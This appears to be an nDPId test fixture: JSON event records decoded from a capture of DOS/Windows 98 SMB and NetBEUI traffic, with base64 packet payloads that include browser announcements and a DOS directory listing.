+00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":101,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":736262,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAEvw8A4MDgD\/7xYMAAAoAAYAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADBAAIUABYAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":101,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":75} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":102,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":736631,"pkt_caplen":158,"pkt_type":144,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAJDw8AwQDgD\/7xYMAAAGACgAAxX\/U01CgQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAADBAAECAFkABVYAgz8\/Pz8\/Pz8\/Pz8\/FgAAAQAAAAAAECpjj08AAAAALgAgICAgICAAAAAAAIM\/Pz8\/Pz8\/Pz8\/PxYBAAEAAAAAABAqY49PAAAAAC4uACAgICAgAAAAAAA="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":102,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":144} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":103,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":739983,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAFPw8BAODgD\/7xYMAAAoAAcAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADhAAIUAAAAGgAEAAUVAIM\/Pz8\/Pz8\/Pz8\/PxYBAAEAgwAAAQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":103,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":83} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":104,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":740173,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8A4SDgD\/7xYMAAAHACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAADhAAAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":104,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":105,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":742285,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyADXw8BIQDgD\/7xYMAAAoAAgAFQP\/U01CgAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAABAQAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":105,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00418{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":106,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":742459,"pkt_caplen":77,"pkt_type":63,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":77,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAD\/w8BAUDgD\/7xYMAAAIACgAAxX\/U01CgAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAABAQVq\/wABAAJ2+AAAAAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":106,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":63} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":107,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":821798,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8BQTDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":107,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":108,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409868,"pkt_ts_usec":821909,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEXHAAAAIARvbrAqO+BwKjv\/wCJAIkATA62AAgoEAABAAAAAAABIEVORUVF"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":108,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00654{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409871,"pkt_ts_usec":610878,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNKAAAAIARsU3AqO+BwKjv\/wCKAIoAuRxAEQIAFMCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":110,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409872,"pkt_ts_usec":653497,"pkt_caplen":107,"pkt_type":93,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAF3w8BYSDgD\/7xYEAAAAAAkAFQP\/U01CLQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAQ\/\/AAAABwACABYAIAAeKfZdEgAAAAAAAAAAAAAAAAAKAFxURVNULlRYVAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":110,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":93} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":111,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409872,"pkt_ts_usec":653693,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAFPw8BIYDgD\/7xYMAAAJACgAAxX\/U01CLQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAQ\/\/AAAAAAAgAB4p9l0AAAAAAgAAAAAAAgAAAAAAAAAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":111,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":83} +01926{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":112,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409872,"pkt_ts_usec":682866,"pkt_caplen":1204,"pkt_type":1190,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1204,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyBKbw8BgUDgD\/7xYMAAAoAAoAFQP\/U01CCwAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABBAQUAAGQEAAAAAGQEZwQBZAQNCiBWb2x1bWUgaW4gZHJpdmUgQyBpcyBNU0RPUyAgICAgIA0KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDQwMzEtMEZFMA0KIERpcmVjdG9yeSBvZiBDOlwNCg0KQ09NTUFORCAgQ09NICAgICAgICA1NC42NDUgMzEuMDUuOTQgICAgNjoyMg0KV0lORE9XUyAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODozNw0KV0lOQTIwICAgMzg2ICAgICAgICAgOS4zNDkgMzEuMDUuOTQgICAgNjoyMg0KVEVNUCAgICAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODowNA0KVE9PTFMgICAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODowNQ0KRE9TICAgICAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODowNQ0KQVVUT0VYRUMgTkVUICAgICAgICAgICAxNjkgMTMuMTIuMTkgICAgNjo1MA0KTk9WRUxMICAgICAgIDxESVI+ICAgICAgICAgMTQuMTIuMTkgICAyMTozOQ0KTkVUICAgICAgICAgIDxESVI+ICAgICAgICAgMDcuMTAuMTkgICAyMjoxMg0KQ09ORklHICAgV0lOICAgICAgICAgICAyNzggMDcuMTAuMTkgICAyMjoxMw0KQVVUT0VYRUMgV0lOICAgICAgICAgICAyNDEgMDcuMTAuMTkgICAyMjoxMw0KQVVUT0VYRUMgQkFUICAgICAgICAgICAxNjkgMTUuMTIuMTkgICAxMDo0NQ0KQVVUT0VYRUMgT0xEICAgICAgICAgICAyNDEgMDcuMTAuMTkgICAyMjoxMw0KQ09ORklHICAgTkVUICAgICAgICAgICAxMzQgMTMuMTIuMTkgICAgNjo1MA0KQVVUT0VYRUMgTk9WICAgICAgICAgICAzMDkgMTQuMTIuMTkgICAyMTozOQ0KQ09ORklHICAgTk9WICAgICAgICAgICAyODAgMTQuMTIuMTkgICAyMTozOQ0KQ09ORklHICAgT0xEICAgICAgICAgICAyNzggMDcuMTAuMTkgICAyMjoxMw0KTkJJSFcgICAgQ0ZHICAgICAgICAgICAzODggMTUuMTIuMTkgICAxMDoxOA0KQ09ORklHICAgMDAxICAgICAgICAgICAxMzQgMTUuMTIuMTkgICAxMDo0NQ0KQVVUT0VYRUMgMDAxICAgICAgICAgICAxNjkgMTUuMTIuMTkgICAxMDo0NQ0KQ09ORklHICAgU1lTICAgICAgICAgICAxMzQgMTUuMTIuMTkgICAxMDo0NQ0KICAgICAgIDIxIGZpbGUocykgICAgICAgICA2Ni45MTggYnl0ZXMNCiAgICAgICAgICAgICAgICAgICAgIDE1Mi44NTQuNTI4IGJ5dGVzIGZyZWUNCg=="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":112,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":1190} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":113,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409872,"pkt_ts_usec":683060,"pkt_caplen":69,"pkt_type":55,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":69,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADfw8BQaDgD\/7xYMAAAKACgAAxX\/U01CCwAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAABBAQFkBAAA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":113,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":55} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":114,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409872,"pkt_ts_usec":683183,"pkt_caplen":73,"pkt_type":59,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":73,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyADvw8BoWDgD\/7xYMAAAoAAsAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABhAQMAAB4p9l0AAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":114,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":59} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":115,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409872,"pkt_ts_usec":683292,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8BYcDgD\/7xYMAAALACgAAxX\/U01CBAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAABhAQAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":115,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":116,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409872,"pkt_ts_usec":793837,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8BwYDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":116,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":117,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409873,"pkt_ts_usec":117808,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEeIQAAAIARuLrAqO+BwKjv\/wCJAIkATG2mAAopEAABAAAAAAABIEZIRVBG"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":117,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":118,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":181879,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":118,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":142} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":119,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":669832,"pkt_caplen":107,"pkt_type":93,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAF3w8B4YDgD\/7xYEAAAAAAwAFQP\/U01CLQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAACBAQ\/\/AAAABwAAABYAAAAiKfZdAQAAAAAAAAAAAAAAAAAKAFxURVNULlRYVAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":119,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":93} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":120,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":669999,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEgIwAAAIARtrrAqO+BwKjv\/wCJAIkATG6mAAooEAABAAAAAAABIEZIRVBG"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":120,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":121,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":670119,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAFPw8BggDgD\/7xYMAAAMACgAAxX\/U01CLQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAACBAQ\/\/AAAAAQAgAB4p9l1kBAAAAAAAAAAAAQAAAAAAAAAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":121,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":83} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":122,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":703380,"pkt_caplen":73,"pkt_type":59,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":73,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyADvw8CAaDgD\/7xYMAAAoAA0AFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAChAQMBAP\/\/\/\/8AAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":122,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":59} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":123,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":703521,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEiAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":123,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":124,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":703601,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8BoiDgD\/7xYMAAANACgAAxX\/U01CBAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAChAQAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":124,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":125,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":764250,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8CIcDgD\/7xQAAAAoAAAAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":125,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":126,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409876,"pkt_ts_usec":771024,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEkAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":126,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00654{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409881,"pkt_ts_usec":580957,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNKQAAAIARsE3AqO+BwKjv\/wCKAIoAuRw+EQIAFsCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":128,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409882,"pkt_ts_usec":997566,"pkt_caplen":78,"pkt_type":64,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":78,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAEDw8CQcDgD\/7xYEAAAAAA4AFQP\/U01CEAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADBAQALAARcVEVTVC5UWFQA"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":128,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":64} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":129,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409882,"pkt_ts_usec":997752,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8BwmDgD\/7xYMAAAOACgAAxX\/U01CEAEAAwCAAAAAAAAAAAAAAAAAAAAAyHUFAADBAQAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":129,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00420{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":130,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409882,"pkt_ts_usec":997898,"pkt_caplen":80,"pkt_type":66,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":80,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAELw8CYeDgD\/7xYMAAAoAA8AFQP\/U01CBgAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADhAQEAAAsABFxURVNULlRYVAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":130,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":66} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":131,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409882,"pkt_ts_usec":997999,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8B4oDgD\/7xYMAAAPACgAAxX\/U01CBgAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAADhAQAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":131,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":132,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409883,"pkt_ts_usec":83853,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8CggDgD\/7xQAAAAoAAAAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":132,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":133,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409883,"pkt_ts_usec":461819,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QEqDgD\/7xeBvAUDABUAAxXvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVF"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":133,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":134,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409886,"pkt_ts_usec":201847,"pkt_caplen":168,"pkt_type":154,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAJrw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAFQAAAAAAAAAAAAAAAAAAAAAAAAAVAFYAAwABAAEAAgAmAFxNQUlMU0xPVFxCUk9XU0UACAEAAAAAAAAAAAAAAABNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":134,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":154} 